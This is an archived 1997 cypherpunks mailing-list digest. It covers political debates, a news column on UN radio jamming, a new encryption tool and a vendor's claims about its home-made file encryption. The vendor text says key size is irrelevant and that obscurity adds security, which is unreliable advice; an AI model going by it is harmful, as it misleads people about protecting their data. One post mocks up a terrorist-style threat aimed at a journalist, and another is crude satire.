people don't mind being happy slaves. i'm not sure I would disagree. sometimes its time for even the kitchen slaves to leave the plantation. > > And, regardless of whether the two are actually separate, the Nolan > chart is intended to measure peoples' _beliefs_ and _feelings_ about > economic and political freedom. And those, as this discussion proves, > are clearly separate. > not sure that was a QED. jim From Stewart_William_C at bns.att.com Thu Dec 4 16:50:07 1997 From: Stewart_William_C at bns.att.com (Stewart_William_C at bns.att.com) Date: Fri, 5 Dec 1997 08:50:07 +0800 Subject: Radio-Free Europe Message-ID: Fortunately, the net is harder to jam than radio. Esther Dyson's new book has a good line about how the Net is a breeding-ground for conspiracies, but television is better-suited for propaganda. ======================================================================= Copyright 1997 Times Mirror Company Los Angeles Times December 3, 1997, Wednesday, Home Edition Part A; Page 5; National Desk INTERNATIONAL OUTLOOK; NATIONAL PERSPECTIVE; U.N. Hate-Radio Jamming Would Send Wrong Signal JIM MANN WASHINGTON -- In foreign policy, sometimes the noblest of intentions leads to lousy ideas. That's certainly the case with the recent curious proposal for a special United Nations "jam squad"--a special U.N. team that could be hurriedly dispatched to crisis points around the world carrying equipment to jam, or block, harmful radio and TV broadcasts. Writing in the current issue of "Foreign Affairs" magazine, Jamie M. Metzl, a former United Nations human rights officer, proposes the creation of what would officially be called an "independent information intervention unit" at the U.N. Its goal, he writes, would be "countering dangerous messages that incite people to violence." A U.N. unit could monitor local news media to see where crises might erupt, air its own messages of peace and, where necessary, prevent other radio or TV broadcasts from being heard. The idea for the U.N. jam squad originated in the genocidal horrors of Rwanda. In 1994, the country's main radio station, the Radio-Television Libre des Milles Collines, then controlled by Hutu extremists, began broadcasting hate messages targeting members of the rival tribe, the Tutsis, and moderate Hutus. The Rwanda station even broadcast lists of enemies to be hunted down. "Take your spears, clubs, guns, swords, stones, everything, sharpen them, jack them, those enemies, those cockroaches," the station urged listeners. The result was one of the world's worst blood baths, in which more than 500,000 unarmed Tutsis and moderate Hutus were slaughtered. This was, certainly, as compelling a case for jamming as you can get. And Metzl has one cogent argument on behalf of his proposal: When there's an ethnic conflict in a place like Rwanda, sending in a United Nations jamming team would be considerably easier and less costly than sending in troops. "I think it's a worthy idea," says Rep. Edward R. Royce (R-Fullerton), chairman of the House International Relations subcommittee on Africa. "I'm sure we would try to go out and jam in Rwanda if those circumstances came up again." Indeed, the United States and its allies are conducting a somewhat similar operation in Bosnia. Two months ago, NATO troops seized and effectively shut down a station run by hard-line Bosnian Serb forces after the station broadcast inflammatory attacks on NATO forces trying to keep the peace there. But it's a long step to go from these situations to the creation of a permanent, formal unit run by the United Nations and scouring the world in search of radio broadcasts to jam. Who would determine exactly what kinds of radio programs should be blocked and which programs could be aired? What would ensure that the jamming decisions were not motivated by politics? Wouldn't the creation of such a United Nations operation strengthen the hand of governments that want to jam radio transmissions for much less noble reasons? "This opens up a Pandora's box, really," says Richard Richter, the director of Radio Free Asia, the federally funded station that broadcasts into Asian countries with repressive governments. "You'd have China claiming that we American broadcasts should be jammed by the United Nations." Ultimately, a U.N. jamming squad would give official sanction to restrictions on the free flow of information. Metzl's article has a response to this problem, but it's a weak one. "During the Cold War, when the United States faced a Soviet adversary intent on jamming the Voice of America and Radio Free Europe . . . , it made sense for the United States to promote an absolute standard for the free flow of information," he wrote. "Now, a more nuanced view should be possible." But that's precisely backward: The free flow of information wasn't merely a temporary means to winning the Cold War, but one of the goals of the endeavor. Although the problem of hate-filled radio broadcasts is a serious one, there are ways of dealing with it that don't involve creating some huge, supranational censorship unit. One alternative is simply to provide other, competing radio broadcasts. In Rwanda, for example, the United Nations set up its own radio stations, both in the capital of Kigali and in radio camps. Royce's subcommittee has been exploring the possibility of creating a Radio Free Africa, similar to Radio Free Europe, Radio Free Asia and Radio Marti, which broadcasts to Cuba. There are serious questions about whether such a new organization is necessary, when VOA, the official U.S. government station, already broadcasts intensively into Africa. But the underlying idea makes sense: to transmit better, more accurate information to Africa, rather than focusing on jamming or censorship. There are other ways of combating hate radio too. Those who directly incite violence over the airwaves can be brought to justice. At the moment, a war-crimes tribunal, set up under U.N. auspices, is prosecuting those responsible for the massacres in Rwanda. Among the suspects in custody are some of those responsible for the Milles Collines radio broadcasts. But a worldwide, U.N.-run jamming team? As a Hollywood script, maybe the idea has possibilities. As foreign policy, it's a loser. Jim Mann's column appears in this space every Wednesday. PHOTO: U.S. member of NATO peace force guards television transmitter in Udrigovo, Bosnia. PHOTOGRAPHER: Associated Press -- ======================================================================== = ************************************************** "They that can give up essential liberty to obtain a little temporary safety deserve neither liberty nor safety." - Ben Franklin, ~1784 ************************************************** Received: from speedy1.bns.att.com by casnfc01.bns.att.com with ESMTP (1.40.112.8/16.3) id AA273649564; Thu, 4 Dec 1997 15:52:44 -0800 Received: from attrh2.attrh.att.com (attrh2.attrh.att.com [135.38.12.15]) by speedy1.bns.att.com (8.7.3/2.5) with SMTP id SAA01642 for ; Thu, 4 Dec 1997 18:58:44 -0500 (EST) Received: by attrh2.attrh.att.com (SMI-8.6/EMS-1.2 sol2) id SAA21574 for Stewart_William_C at bns.att.com; Thu, 4 Dec 1997 18:53:29 -0500 Received: from kcig2.att.att.com by attrh2.attrh.att.com (SMI-8.6/EMS-1.2 sol2) id SAA21547 for ; Thu, 4 Dec 1997 18:53:26 -0500 Received: (from nuucp at localhost) by kcig2.att.att.com (AT&T/GW-1.0) id RAA25810 for att.com!billstewart; Thu, 4 Dec 1997 17:43:55 -0600 (CST) >Received: by kcgw2.att.com; Thu Dec 4 17:38 CST 1997 Received: by kcgw2.att.com; Thu Dec 4 17:38 CST 1997 Received: (qmail 850 invoked by alias); 4 Dec 1997 23:47:52 -0000 Received: (qmail 818 invoked by uid 516); 4 Dec 1997 23:47:49 -0000 Delivered-To: ip-sub-1-outgoing at majordomo.pobox.com Message-Id: <199712042347.SAA23465 at home.seas.upenn.edu> X-Sender: farber at linc.cis.upenn.edu X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0 Release Candidate 3 Date: Thu, 04 Dec 1997 18:47:09 -0500 To: ip-sub-1 at majordomo.pobox.com Subject: IP: U.N. Hate-Radio Jamming Would Send Wrong Signal Mime-Version: 1.0 Sender: owner-ip-sub-1 at majordomo.pobox.com Precedence: list Reply-To: farber at cis.upenn.edu Content-Type: text/plain; charset="us-ascii" From hedges at rigel.cyberpass.net Thu Dec 4 16:58:42 1997 From: hedges at rigel.cyberpass.net (Mark Hedges) Date: Fri, 5 Dec 1997 08:58:42 +0800 Subject: Heidegger on Cypherpunks -- give me a break Message-ID: <199712050043.QAA11517@rigel.cyberpass.net> In previous thread "FCPUNX:Tim plans to kill a federal judge", Neva Remailer wrote: > >James Donald wrote: >>At 06:10 PM 11/14/97 -0700, Tim May wrote: >>> By the way, the same can be said about the work of Heidegger, a thinker who >>> has had some influence on me. Whenever I cite anything Heidegger ever said, >>> I can count on some numbskull to parrot the "Heidegger was a Nazi" shtick. >> >>Probably because Heidegger *was* a Nazi, who pranced around in full drag >>Nazi uniform and sent certain of his colleagues to the concentration camps. >> >>To very crudely oversimplify the relationship between Heideggers >>philosophy and Nazism, it goes like this. >> >>No objective, only the intersubjective, therefore the community >>defines reality, therefore truth is merely relative to the community. Introduction to Metaphysics and Sein und Zeit do concern the relationship between what is real (what exists) and subjective, perceptual reality, but Heidegger makes clear that although what we know is only perception, perception is not the essent of what is real and exists. Actions must rely on perception of reality, but he lends not absolute validity to the perceptions. Heidegger was on the right track, though quantum and cosmological physics and cognitive sciences reach beyond his philosophical circles of contra- diction and paradox inside a flawed and entirely limited language into an expanding and increasingly accurate scientific and mathematical system of discourse. His basic mistake was to admit that verbal and written language contains contradictions and then to draw what he supposed were valid conclusions -- from false premesis and a false universe of discourse. >(Although, if one were interested in Heideggar, his biography would >probably be interesting, too.) Yup. Mark Hedges Anonymizer, Inc. From jamesd at echeque.com Thu Dec 4 17:12:33 1997 From: jamesd at echeque.com (James A. Donald) Date: Fri, 5 Dec 1997 09:12:33 +0800 Subject: Please Beta test my communications cryptography product. Message-ID: <199712050100.RAA04735@proxy4.ba.best.com> -- I have produced a program that, like PGP, provides digital signatures and communications encryption. http://www.jim.com/jamesd/Kong/Kong.htm This is the first beta. Please beta test this product. The important difference between it and other products that provide digital signatures and encryption is that it is not certificate based. Instead it is signature based. This eliminates the steep initial learning and management curves of existing products. The user does not need use and manage specialized certificates except for specialized purposes The big complexity and user hostility in existing products is creating and managing certificates. Perhaps more importantly, it also eliminates the threat we saw in England, the threat of the government giving itself a monopoly in certificate distribution, potentially creating the Number-Of-The-Beast system, where you need a government certificate to log on to dirty picture sites, to buy, to sell, to put up web pages. The key feature of the proposed product is that any digitally signed document can be stored in the database, and itself performs the functions of a certificate, just as a normal handwritten signature does. The user usually does not need to check a document against a certificate to see if it was signed by the "real" John Doe. Instead he normally checks one document against another to see if they were both signed by the same John Doe. And similarly when he encrypts a document, he does not need to use a certificate to encrypt a message to the one real John Doe, he merely encrypts a message to the same John Doe who signed the letter he is replying to. At present people have to deal with certificate management problems regardless of whether they really need certificates. For example the most common usage of PGP is to check that two signatures that purport to be by the same person are in fact by the same person. Unfortunately you cannot check one signature against another directly using PGP or any of the other existing products. Instead you have to check both signatures against a public key certificate, even if the authentication information in that certificate is irrelevant to your purpose, which it usually is, which means that you have to download the certificate from somewhere, and the person signing it had to upload it somewhere. As PGP always checks a document against the certificate, rather than against any other document the user happens to feel is relevant to the question, the person signing the document needs to get his certificate properly signed by some widely trusted third party, which is too much trouble or too complicated for many people. --digsig James A. Donald 6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG z8/j/L3kF7oCmOp/iF2oh/pwgP/mATjOTUdv1uGy DlPh9Op11Z1CtFuByebVsk8yJo4WuUMuFk4S/TMp --------------------------------------------------------------------- We have the right to defend ourselves and our property, because of the kind of animals that we are. True law derives from this right, not from the arbitrary power of the state. http://www.jim.com/jamesd/ From kent at songbird.com Thu Dec 4 18:09:21 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 5 Dec 1997 10:09:21 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <19971204150228.29343@gwyn.tux.org> Message-ID: <19971204174655.45349@songbird.com> On Thu, Dec 04, 1997 at 05:22:23PM -0700, Jim Burnes wrote: [...] > > And Singapore survives quite well being a totalitarian capitalist > > society. Sure, you can pick nits and claim that Singapore's not entirely > > capitalist, but it's more capitalist than this country and certainly > > less free, too. > > > > hmmm.. no one says that singapore doesn't work anyomore than > that they say that a team of horses under a whip doesn't work. > the difference is that in singapore the policeman is inside. Nope. I have several friends who are from Singapore, and that is simply not the way they see it. They like their country, and they are proud of it. They know it isn't perfect, but they think it is pretty damn good. From their perspective your statement simply reflects the narrowness of your point of view. [...] > there is a fundamental flaw your case. economic freedom is really the > same as social freedom. This also represents a terribly narrow view of the world. Freedom is psychological state as much as it is a social or an economic one. > In either case, the act of buying and selling things is the ultimate > expression of free association/assembly. Nonsense. The ultimate expression of freedom is skinny dipping in a mountain lake. > I might mention, since this is the cypherpunk list, that crypto > is *exactly* what big brother is afraid of because we might realize > what *kind* of slaves we are and what kind of masters they are. > Incidentally it might actually free us from this prison some > day. The first step to escaping from your jail cell is understanding > that you live in a jail cell and what kind of cell that is. Most > new citizens units have a room reserved from birth. > (slave: birth to grave) > > Freedom to make purchasing decisions is *the* major component of freedom > in any advanced society. It is the medium by which we interact > with society at large. Red Hat software doesn't know who the hell > I am and they probably can't afford to care that much. What they > do know is that if they configure a really decent version of Linux > that I will give them $50. It allows me to do my thing and it puts > food on their table. > > Economic freedom is what makes it possible for society to evolve into > to something better. Lack of it eventually dooms the inhabitants > to decide whether to become a hammer or an anvil -- a host or > a parasite. > > If you don't think that the population is prevented from making > purchasing decisions then you better get the sleep out of your > eyes and take a good, hard look. > > Actually, it's dogma, not pedagogy. The notion of "freedom" to a libertarian is like the notion of "faith" to a Christian -- a self-reinforcing mental trap, a span of circular thinking that is just a little too large for them to notice and say "Haven't I been here before?" Like moths they flit around the bright emotional icons that blind them, define their world, and trap their thoughts in endless repetition. For all the brave words about reason and logic, and all the endless discussion about it, libertarians don't ever actually sit down and think "what does the word 'freedom' mean, anyway?". Instead, their thinking goes down to a point where they can repeat some mantra like "Freedom to make purchasing decisions is *the* major component of freedom in any advanced society", and they never realize the exact circularity involved. It might as well be "Freedom to worship the Lord is *the* major component of freedom in any advanced society." Or "Being a slave to purchasing decisions is *the* major component of slavery in any advanced society." Thinking in platitudes is not thinking. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From frissell at panix.com Thu Dec 4 18:09:27 1997 From: frissell at panix.com (frissell at panix.com) Date: Fri, 5 Dec 1997 10:09:27 +0800 Subject: Creative Destruction In-Reply-To: <199712040732.XAA14714@sirius.infonex.com> Message-ID: <3.0.2.32.19971204210117.006c1188@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 11:32 PM 12/3/97 -0800, Mix wrote: >www.borders.com: "Borders is opening new stores almost >every week. If there's not one near you now, there will >be soon." > >This is depressing. Something has to be done about >"free"-market capitalism. It is as destructive as >government, and built on the same lies. Schumpeter's Creative Destruction. You end up with a lot more stuff when you finish the cycle than when you begin but some people don't like more "stuff." Mostly those who have plenty of "stuff" already and can easily feed their babies. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNIdga4VO4r4sgSPhAQHZOgQA2NnHJs8uh1+Fu4rPgy7D38xphWwsF47/ RGvdMewl3SMLNPNvnQ51sCW9RQxiQXwvtPzcmjH90hfqy6409hOn0fkDVdLNHcjd iySGAhT4Thy4TDfveFkL+TjQJ0wXs6vMX95rd9o7ifzMS3f2n//d/fUSEq2bfkHe K/gPSMha8+Y= =ZwtI -----END PGP SIGNATURE----- From declan at pathfinder.com Thu Dec 4 18:19:54 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 5 Dec 1997 10:19:54 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <19971204150228.29343@gwyn.tux.org> Message-ID: On Thu, 4 Dec 1997, J. Lasser wrote: > And Singapore survives quite well being a totalitarian capitalist > society. Sure, you can pick nits and claim that Singapore's not entirely > capitalist, but it's more capitalist than this country and certainly > less free, too. http://cgi.pathfinder.com/netly/editorial/0,1012,266,00.html In some ways, Singaporeans are more free than U.S. citizens. Income taxes and sales taxes are lower. Prostitution is legal. The government does not impose rules on whom private landlords can and can't rent to. Unlike some cities in the states, Singapore has no curfews. Being able to walk outside safely at night in any area of the city, even the poor excuse for the city's red light district, has its attractions. -Declan From frissell at panix.com Thu Dec 4 18:26:41 1997 From: frissell at panix.com (frissell at panix.com) Date: Fri, 5 Dec 1997 10:26:41 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3.0.2.32.19971204211025.006c1188@panix.com> At 10:50 PM 12/3/97 -0800, Kent Crispin wrote: >Interesting. I was absolutely dead center. Why do I not find this surprising? >Centrist > >Centrists favor selective government intervention and emphasize >practical solutions to current problems. They >tend to keep an open mind on new issues. Many centrists feel that >government serves as a check on excessive >liberty. Then there are those who feel that liberty is a check on excessive government. I have yet to see many examples of people damaged by too much political liberty. Perhaps Kent can fill us in. DCF From jya at pipeline.com Thu Dec 4 18:29:06 1997 From: jya at pipeline.com (John Young) Date: Fri, 5 Dec 1997 10:29:06 +0800 Subject: Mob Combat Message-ID: <1.5.4.32.19971205014027.00728108@pop.pipeline.com> The those with an interest in extraordinary descriptions of the bloody, vicious mayhem and carnage of urban warfare, The Philadelphia Inquirer has been running a series since late November describing in gory detail a disastrous battle between US Special Forces and Somalian mobs in 1993. With gunship video, maps and audio of US and Somalis participants. You won't forget it: http://www3.phillynews.com/packages/somalia/nov16/rang16.asp From jhutz+ at cmu.edu Thu Dec 4 19:00:50 1997 From: jhutz+ at cmu.edu (Jeffrey Hutzelman) Date: Fri, 5 Dec 1997 11:00:50 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <199712041305.IAA30177@users.invweb.net> Message-ID: > Do I really want to start this thread up .... No, you don't. The pro-choice/pro-life argument is off-topic for fight-censorship, and presumably also for cypherpunks (though I don't read that list, and wouldn't presume to speak for them). If people want to argue this point, please do it somewhere else. -- Jeffrey T. Hutzelman (N3NHS) Carnegie Mellon University - Pittsburgh, PA I don't speak for CMU. Thankfully, they don't speak for me either. Oh - and I'm not a lawyer, either... From stewarts at ix.netcom.com Thu Dec 4 19:11:00 1997 From: stewarts at ix.netcom.com (stewarts at ix.netcom.com) Date: Fri, 5 Dec 1997 11:11:00 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: <3.0.3.32.19971204135214.00721fe4@popd.ix.netcom.com> At 12:55 AM 12/04/1997 -0600, "William H. Geiger III" wrote: >Evil Book Topic List >==================== > >Chemistry -- could be used by "Terrorist" >Physics -- could be used by "Terrorist" >Biology -- could be used by "Terrorist" >Mathematics -- could be used by "Terrorist" And you certainly wouldn't want to allow inflammatory anti-government books with precise technical information in them that could be used by terrorists, like "Fahrenheit 451".... Thanks! Bill Bill Stewart, stewarts at ix.netcom.com Regular Key PGP Fingerprint D454 E202 CBC8 40BF 3C85 B884 0ABE 4639 From schear at lvdi.net Thu Dec 4 19:20:57 1997 From: schear at lvdi.net (Steve Schear) Date: Fri, 5 Dec 1997 11:20:57 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? In-Reply-To: Message-ID: >Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum, >"Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and >former governor, Federal Reserve; Stephen Kroll, Treasury Department, and >Richard Rahn, president, Novecon Corp. > Location: Cato Institute, F.A. Hayek Auditorium, 1000 >Massachusetts Ave. NW. > Contact: RSVP, James Markels, 202-789-5256. I wish I had found out about this earlier. Are you planning to attend? This topic, of course, is near the top of many libertarian e-commerce agendas. Almost every mainstream news article and regulatory report repeats the littany that Money Laundering, that is the movement of money to disguise it origin (even if there are no predicate offenses) must remain illegal because it damages or is a threat to the world banking and financial system (not just the tax take of governments), but I have yet to see any explanation of how and why. Anyone care to comment? --Steve PGP mail preferred, see http://www.pgp.com and http://web.mit.edu/network/pgp.html RSA fingerprint: FE90 1A95 9DEA 8D61 812E CCA9 A44A FBA9 RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D --------------------------------------------------------------------- Steve Schear (N7ZEZ) | Internet: schear at lvdi.net 7075 West Gowan Road | Voice: 1-702-658-2654 Suite 2148 | Fax: 1-702-658-2673 Las Vegas, NV 89129 | economic and crypto dissident --------------------------------------------------------------------- The push by western governments for financial transparency and banning unrestricted use of cryptography is blatent politicial tyranny. Free Cypherpunk Political Prisoner Jim Bell From declan at pathfinder.com Thu Dec 4 20:06:11 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 5 Dec 1997 12:06:11 +0800 Subject: Cato forum tomorrow: should money laundering be a crime? In-Reply-To: Message-ID: Yep, I'll be there, at least briefly. The DoJ-MSFT hearing is at 1:30 down near the Mall so I can't stay for the entire thing. A shame; Cato has good lunches. -Declan On Thu, 4 Dec 1997, Steve Schear wrote: > >Friday Noon. MONEY LAUNDERING - The Cato Institute holds a policy forum, > >"Should Money Laundering Be a Crime," with Lawrence Lindsey, AEI and > >former governor, Federal Reserve; Stephen Kroll, Treasury Department, and > >Richard Rahn, president, Novecon Corp. > > Location: Cato Institute, F.A. Hayek Auditorium, 1000 > >Massachusetts Ave. NW. > > Contact: RSVP, James Markels, 202-789-5256. > > I wish I had found out about this earlier. Are you planning to attend? > > This topic, of course, is near the top of many libertarian e-commerce agendas. Almost every mainstream news article and regulatory report repeats the littany that Money Laundering, that is the movement of money to disguise it origin (even if there are no predicate offenses) must remain illegal because it damages or is a threat to the world banking and financial system (not just the tax take of governments), but I have yet to see any explanation of how and why. Anyone care to comment? > > --Steve > > > PGP mail preferred, see http://www.pgp.com and > http://web.mit.edu/network/pgp.html > > RSA fingerprint: FE90 1A95 9DEA 8D61 812E CCA9 A44A FBA9 > RSA key: http://keys.pgp.com:11371/pks/lookup?op=index&search=0x55C78B0D > --------------------------------------------------------------------- > Steve Schear (N7ZEZ) | Internet: schear at lvdi.net > 7075 West Gowan Road | Voice: 1-702-658-2654 > Suite 2148 | Fax: 1-702-658-2673 > Las Vegas, NV 89129 | economic and crypto dissident > --------------------------------------------------------------------- > > The push by western governments for financial transparency and > banning unrestricted use of cryptography is blatent politicial > tyranny. > > Free Cypherpunk Political Prisoner Jim Bell > > > From abdiel at worldnet.att.net Thu Dec 4 20:25:44 1997 From: abdiel at worldnet.att.net (Alex Woolfson) Date: Fri, 5 Dec 1997 12:25:44 +0800 Subject: Security of Encrypted Magic Folders Message-ID: <001501bd0131$20c8d5a0$a1a0400c@default> Hello, all! Back reading the list after a long hiatus. Glad it's still as good as ever. Anyway, thought I'd appeal to the collective brain trust as this question is over my head. Please "cc" me directly since I'm on the filtered cypherpunk list. I just downloaded Encrypted Magic Folders--a program that hides Windows 95 folders and then encrypts them to prevent a disk utility from revealing their content. In their help file, they try to answer the question "How Secure is it?"--and, of course, they say *very*, but I can't tell if this is so or if they're just blowing smoke. Particularly, their claim that key size doesn't matter. (My mom taught me size always matters... ) If someone with a stronger cryptography background than me could take a look at this and let me know, I would greatly appreciate it. Thanks! Alex * How Secure is it? EMF's encryption offers good protection and excellent speed. It hasn't been broken yet. It is, as far as we know, exportable. THERE IS NO BACKDOOR. Should you forget your password there is nothing we can do to decrypt your encrypted files. Quite a few people ask us how big EMF's key size is. They've learned from other encryption programs that the bigger the key the stronger the encryption. This really doesn't apply to EMF. We developed our own encryption instead of using a standard because we wanted EMF to be able to decrypt at the byte level. In this way we only need to decrypt/encrypt the data your programs require and not the entire file. In theory, because we decrypt at the byte level, the biggest key we could use would be 8 bits - which is a joke. So instead of decrypting every hunk of data using the same key, as most other encryption programs do, we developed an algorithm to vary the key based on the data's location within the file. In this way we get both high security and high speed. We are trying to patent EMF's encryption method. Having said all that, truth is, most encryption isn't "cracked" by breaking the algorithm, it's done by guessing the password. Brute guessing of passwords tends to level the playing field tremendously. We actually have an advantage because we aren't an established standard. Because we're small and relatively obscure chances are no one will take the effort to write a password guessing program (which incidentally would violate copyright and intellectual property laws.) Even if someone were to go thru all this effort we could easily change the encryption method for the next update. If we used an established encryption method like DES or Blowfish then your files would probably have to be fully decrypted when opened, would exist on disk as unencrypted while you're using them, and then would need to be encrypted when closed. This has multiple disadvantages. First, if your computer shuts down while you have "encrypted" files open, then those files would be unencrypted. This doesn't happen with EMF as your encrypted files are always encrypted as stored on disk. The second disadvantage is that it slows things down tremendously. As an example, let's say you retrieve your email and your email program needs to add today's message to the end of your 3MB email file. If we used a standard encryption method requiring the decryption of the file before use then the entire 3 MB file would have to be decrypted, your 300 byte message added to the end and then the entire file encrypted again. With EMF, no decryption would need to take place, and the only data needing encryption would be the 300 byte message. MUCH faster. Around 20,000 times faster in this example! If you still think you'd like to see us use a standard encryption method like DES or Blowfish, or have any other suggestions, let us know and we will consider your input in future updates From wendigo at ne-wendigo.jabberwock.org Thu Dec 4 21:03:24 1997 From: wendigo at ne-wendigo.jabberwock.org (Mark Rogaski) Date: Fri, 5 Dec 1997 13:03:24 +0800 Subject: (Borders) In-Reply-To: <199712040732.XAA14714@sirius.infonex.com> Message-ID: <199712050444.XAA07924@deathstar.jabberwock.org> -----BEGIN PGP SIGNED MESSAGE----- An entity claiming to be Mix wrote: : : www.borders.com: "Borders is opening new stores almost : every week. If there's not one near you now, there will : be soon." : : This is depressing. Something has to be done about : "free"-market capitalism. It is as destructive as : government, and built on the same lies. : And what, exactly, would these lies be? Other than any claims that one of these "Mothership" chains will be healthy for the local economy. I used to live in Indiana, PA, where the unemployment rate was about 12%. A big ol' WalMart plopped down just outside of town in my last year there. Via the power of sheer bulk-buying, they undercut EVERY local business they competed with. Despite the overwhelming roar of money being sucked out of the region, I fail to see any underhandedness. They were honest androids. Mark - -- [] Mark Rogaski "That which does not kill me [] wendigo at pobox.com only makes me stranger." [] [] finger wendigo at deathstar.jabberwock.org for PGP key [] anti spambot: postmaster at localhost abuse at localhost uce at ftc.gov -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQEVAwUBNIeGo3zbrFts6CmBAQFJ6ggAwbqwz+cS6bLoBSDn53ehoDUTjNmytB8B xXCQO1fCNkjmj6TJRbrhtT1wL+wXaOc8mFrxIv0+bQY4BETZXG8iOroVMJCMJClZ eAbGuCc53xHXpiK+hsYreriRCS0xjwvRDt+zC+hgr/uTaGhcad6chAeQzP0vMzjo pM4NKVos9/uYvibu3ddxQ5jeUh5x5VpLsDb8DuSqVIkZkaaqzW9IKNUKK2od6DFT YwB82OOldWhXp3Vi/pfX1H+vv6ADt6hieaoR8TBex0W9bMfosCRWsuLlzyBmycYG mHbYPVXog+LzKLkwsz/0lWkohJEWRyD5ic3Lko/MNcnhjrGM9YA7rA== =0sWd -----END PGP SIGNATURE----- From stevet at myofb.org Thu Dec 4 21:05:43 1997 From: stevet at myofb.org (Steve Thompson) Date: Fri, 5 Dec 1997 13:05:43 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <881247576199712041419.JAA30815@users.invweb.net> Message-ID: <199712050444.XAA03304@bofh.internal.net> In local.lists.cypherpunks-moderated you write: >In <199712041316.IAA18769 at Empire.Net>, on 12/04/97 > at 08:16 AM, tom said: >>First define your terms. Then talk about murder. >Hmmmm well the safest answer to this is at the point of conception though >I would imagine that it is hard for most to consider a couple of cells >life. :=/ Abstinance is murder. Letting just _one_ egg miss fertilization denies that egg the chance to become a human being. I think that the felony charge should be manslaughter for this crime as it's not quite as bad as: Birth control Birth control is nothing more than premeditated murder, though I think that a plea-bargain in most cases should be offered: Drop the charge to manslaughter if the perp agrees to artificial insemination with the eggs of some woman who is unable to get pregnant due to some medical condition. However, I hope that medical research is improved to the point where the male can carry the child in such cases. Just think of all of the wonderful people who won't ever be born because some geek is wanking into a tissue, or some thirteen year old is kept from fucking by their prudish parents. Now _these_ people should be brought up on accessory charges... As for Gays and Lezbians, well, sorry but that's right out. Such unproductive behaviour cannot be tolerated. >William H. Geiger III http://users.invweb.net/~whgiii Regards, -- Steve Thompson Misanthrope System Administrator Spam: bogus at myofb.org --------------------------------------------------------------------------- Usenet II -- Because it's time for October. Who knows what the ostrich - Malcolm Ray in n.s.u. sees in the sand. Save the hermetic seals. - Samuel Beckett From frantz at netcom.com Thu Dec 4 22:06:46 1997 From: frantz at netcom.com (Bill Frantz) Date: Fri, 5 Dec 1997 14:06:46 +0800 Subject: Superdistribution development/release In-Reply-To: Message-ID: At 2:01 PM -0800 12/4/97, stewarts at ix.netcom.com wrote: >Sounds likely - they're not only planning to run it on machines >without vaguely secure hardware, they're planning to run it >on machines without operating systems - they'll probably use Win95. >With NT, you'd at least need to look for bugs or design flaws >or other ways to lie to the operating system, since there _is_ one :-) >95 may not be as fragile as Win3.1, but it's still no protection. Note that, if the person who has the authority to modify the code of the operating system wants to intercept the data, even a "real" OS can be easily modified. Since with personally owned systems, that person is the owner, there is very little protection the OS can give to these kinds of copyright enforcement systems. ------------------------------------------------------------------------- Bill Frantz | One party wants to control | Periwinkle -- Consulting (408)356-8506 | what you do in the bedroom,| 16345 Englewood Ave. frantz at netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA From declan at pathfinder.com Thu Dec 4 22:27:15 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Fri, 5 Dec 1997 14:27:15 +0800 Subject: White House humiliates Louis Freeh in public Message-ID: --- http://www.allpolitics.com/1997/12/04/mccurry/ From nobody at REPLAY.COM Thu Dec 4 23:18:17 1997 From: nobody at REPLAY.COM (Anonymous) Date: Fri, 5 Dec 1997 15:18:17 +0800 Subject: No Subject In-Reply-To: <199712050100.RAA04735@proxy4.ba.best.com> Message-ID: <199712050707.IAA29156@basement.replay.com> James A Donald writes: > -- > I have produced a program that, like PGP, provides digital > signatures and communications encryption. > http://www.jim.com/jamesd/Kong/Kong.htm > This is the first beta. Please beta test this product. _________________________________________________________________ System requirements Kong will only run under Windows 95 and Windows NT or later. Does the `or later' mean modern, safe software (like Linux), or what? From tcmay at got.net Fri Dec 5 00:15:38 1997 From: tcmay at got.net (Tim May) Date: Fri, 5 Dec 1997 16:15:38 +0800 Subject: Christmas Ornaments In-Reply-To: <199712042039.VAA10062@basement.replay.com> Message-ID: :: Request-Untraceable-Delivery-To: Declan McCullagh At 2:39 PM -0700 12/4/97, Declan McCullagh wrote: >I should have ordered them last month with everyone else in the bureau; the >order's been placed and the ornaments have been delivered already. *sigh* Declan, Received message re: "ornaments." Confirmed, "delivery has been made." Suggest you be out of target zone by 4 p.m. when "presents are opened." God is Great! Shazam Al-Raqbar From tcmay at got.net Fri Dec 5 01:12:04 1997 From: tcmay at got.net (Tim May) Date: Fri, 5 Dec 1997 17:12:04 +0800 Subject: words have value, for good or ill In-Reply-To: <199712041959.UAA04934@basement.replay.com> Message-ID: At 12:59 PM -0700 12/4/97, Monty Cantsin wrote: >It looks like we lost some context across the Atlantic. > >In the United States when we are discussing free speech there are >usually some common assumptions that are used to simplify the >discussion. Usually when free speech is being discussed, we do not >mean contracts, coercive threats, or copyrighted works. Strictly >speaking, of course, those are speech, but that usually isn't what is >meant over here. (1) > >The speech I am talking about is the kind of things which Tim May has >been writing. To keep things simple, let's consider the statement >"McVeigh did the right thing." It is not a contract. It is not a >threat. It is not copyrighted. > >It is simply a belief which Tim May considered and posted to the list. >I think we've fairly settled that it is not immoral to have this >thought. So the question really is, if you have such a thought, is it >immoral to express it? Indeed, my original point was not that others should support what I was saying for "free speech" reasons. Whether 